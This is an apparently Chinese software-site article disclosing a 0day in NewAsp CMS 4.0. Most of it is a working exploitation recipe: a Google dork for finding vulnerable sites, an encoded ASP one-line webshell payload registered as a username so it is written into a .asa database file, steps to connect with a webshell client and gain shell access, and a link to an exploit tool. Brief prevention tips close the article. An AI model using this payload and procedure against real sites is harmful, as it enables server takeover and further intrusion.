pc软件 文章资讯 手机软件

您当前的位置→图文中心安全防范新云网站系统NewAsp CMS Version 4.0最新0day
阅读排行

新云网站系统NewAsp CMS Version 4.0最新0day


2009/10/11  编辑:admin 来源:本站整理

概述:

          由于新云4.0对注册用户未过滤特殊字符, 造成黑客通过脚本编码转换将一句话木马写入数据库文件, 从而获得WEBSHELL权限。

测试:

   1. 打开www.google.cn   搜索关键字:Powered By NewAsp CMS Version 4.0 或 新云问吧

   

   2. 将<%execute request("a")%> 编码转换为 ┼攠數畣整爠煥敵瑳∨≡┩愾

  

   3. 以┼攠數畣整爠煥敵瑳∨≡┩愾   为用户名注册帐户

   4. 用一句话连接端连接 目标站点url/ask/data/ask_newasp.asa ,密码为 a

   5.上传脚本大马或者执行其它操作, 这里WEBSHELL权限已经获得。

预防:

    1.严格过滤注册用户名, 限制注册用户名长度及禁止特殊符号。

    2.更改ask/data/ask_newasp.asa 路径及名称。

    3.给文件夹做权限设置, 去除公共写入权限。

附工具:

新云最新Oday利用工具 1010

下载地址:http://www.arpun.com/soft/3392.html

相关文章

解决新云系统国外空间生成HTML空白问题:最近空间查的很严,什么都封,都想转到国外空间了。

新云3系列伪静态完美规则:[ISAPI_Rewrite]#3600=1hourCacheClockRate3600RepeatLimit32#新云规则代码开始#文章频道(这个文章的规则包含了专题规则,是目前网上最完整的文章伪静态规则)RewriteRule(\d+)...。

新云网站系统NewAsp CMS Version 4.0最新0day:概述:由于新云4.0对注册用户未过滤特殊字符,造成黑客通过脚本编码转换将一句话木马写入数据库文件,从而获得WEBSHELL权限。

发表评论
网站帮助 - 广告合作 - 下载声明 - 网站地图